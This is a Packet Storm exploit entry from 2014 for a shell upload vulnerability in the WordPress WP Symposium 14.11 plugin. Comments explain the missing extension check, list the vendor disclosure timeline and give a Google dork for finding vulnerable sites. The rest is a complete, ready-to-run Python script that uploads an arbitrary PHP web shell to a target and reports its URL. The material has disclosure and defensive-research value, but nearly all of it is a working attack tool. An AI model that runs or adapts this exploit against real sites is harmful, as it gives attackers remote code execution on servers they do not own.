WordPress WP Symposium 14.11 Shell Upload

2014-12-12T00:00:00
ID PACKETSTORM:129505
Type packetstorm
Reporter Claudio Viviani
Modified 2014-12-12T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability  
#  
#  
# Vulnerability discovered by Claudio Viviani  
#  
# Exploit written by Claudio Viviani  
#  
#  
# 2014-11-27: Discovered vulnerability  
# 2014-12-01: Vendor Notification (Twitter)  
# 2014-12-02: Vendor Notification (Web Site)   
# 2014-12-04: Vendor Notification (E-mail)  
# 2014-12-11: No Response/Feedback  
# 2014-12-11: Published  
#  
# Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs  
#  
# --------------------------------------------------------------------  
#  
# The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:  
#  
# if ($_FILES["file"]["error"] > 0) {  
# echo "Error: " . $_FILES["file"]["error"] . "<br>";  
# } else {  
# $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');  
# //echo "Upload: " . $_FILES["file"]["name"] . "<br>";  
# $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);  
# //echo "Extension: " . $ext . "<br />";  
# if (strpos($allowedExts, $ext)) {  
# $extAllowed = true;  
# } else {  
# $extAllowed = false;  
# }  
# //echo "Type: " . $_FILES["file"]["type"] . "<br>";  
# //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";  
# //echo "Stored in: " . $_FILES["file"]["tmp_name"];  
#  
# if (!$extAllowed) {  
# echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);  
# } else {  
# // Copy file to tmp location  
# ...  
# ...  
# ...  
#  
# BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension  
#  
# The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"  
#  
# ---------------------------------------------------------------------  
#  
# Dork google: index of "wp-symposium"  
#  
#  
# Tested on BackBox 3.x with python 2.6  
#  
# Http connection  
import urllib, urllib2, socket  
#  
import sys  
# String manipulator  
import string, random  
# Args management  
import optparse  
# File management  
import os, os.path, mimetypes  
  
# Check url  
def checkurl(url):  
if url[:8] != "https://" and url[:7] != "http://":  
print('[X] You must insert http:// or https:// procotol')  
sys.exit(1)  
else:  
return url  
  
# Check if file exists and has readable  
def checkfile(file):  
if not os.path.isfile(file) and not os.access(file, os.R_OK):  
print '[X] '+file+' file is missing or not readable'  
sys.exit(1)  
else:  
return file  
# Get file's mimetype  
def get_content_type(filename):  
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'  
  
def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):  
return ''.join(random.choice(chars) for _ in range(size))  
  
# Create multipart header  
def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):  
  
getfields = dict()  
getfields['uploader_uid'] = '1'  
getfields['uploader_dir'] = './'+randDirName  
getfields['uploader_url'] = url_symposium_upload  
  
payloadcontent = open(payloadname).read()  
  
LIMIT = '----------lImIt_of_THE_fIle_eW_$'  
CRLF = '\r\n'  
  
L = []  
for (key, value) in getfields.items():  
L.append('--' + LIMIT)  
L.append('Content-Disposition: form-data; name="%s"' % key)  
L.append('')  
L.append(value)  
  
L.append('--' + LIMIT)  
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))  
L.append('Content-Type: %s' % get_content_type(payloadname))  
L.append('')  
L.append(payloadcontent)  
L.append('--' + LIMIT + '--')  
L.append('')  
body = CRLF.join(L)  
return body  
  
banner = """  
___ ___ __  
| Y .-----.----.--| .-----.----.-----.-----.-----.  
|. | | _ | _| _ | _ | _| -__|__ --|__ --|  
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|  
|: | |__|  
|::.|:. |  
`--- ---'  
___ ___ _______ _______ __  
| Y | _ |______| _ .--.--.--------.-----.-----.-----|__.--.--.--------.  
|. | |. 1 |______| 1___| | | | _ | _ |__ --| | | | |  
|. / \ |. ____| |____ |___ |__|__|__| __|_____|_____|__|_____|__|__|__|  
|: |: | |: 1 |_____| |__|  
|::.|:. |::.| |::.. . |  
`--- ---`---' `-------'  
Wp-Symposium  
Sh311 Upl04d Vuln3r4b1l1ty  
v14.11  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
info@homelab.it  
homelabit@protonmail.ch  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
"""  
  
commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')  
commandList.add_option('-t', '--target', action="store",  
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",  
)  
commandList.add_option('-f', '--file', action="store",  
help="Insert file name, ex: shell.php",  
)  
commandList.add_option('--timeout', action="store", default=10, type="int",  
help="[Timeout Value] - Default 10",  
)  
  
options, remainder = commandList.parse_args()  
  
# Check args  
if not options.target or not options.file:  
print(banner)  
commandList.print_help()  
sys.exit(1)  
  
payloadname = checkfile(options.file)  
host = checkurl(options.target)  
timeout = options.timeout  
  
print(banner)  
  
socket.setdefaulttimeout(timeout)  
  
url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'  
  
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'  
  
randDirName = id_generator()  
randShellName = id_generator()  
  
bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)  
  
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',  
'content-type': content_type,  
'content-length': str(len(bodyupload)) }  
  
try:  
req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)  
response = urllib2.urlopen(req)  
read = response.read()  
  
if "error" in read or read == "0" or read == "":  
print("[X] Upload Failed :(")  
else:  
print("[!] Shell Uploaded")  
print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")  
  
except urllib2.HTTPError as e:  
print("[X] "+str(e))  
except urllib2.URLError as e:  
print("[X] Connection Error: "+str(e))  
`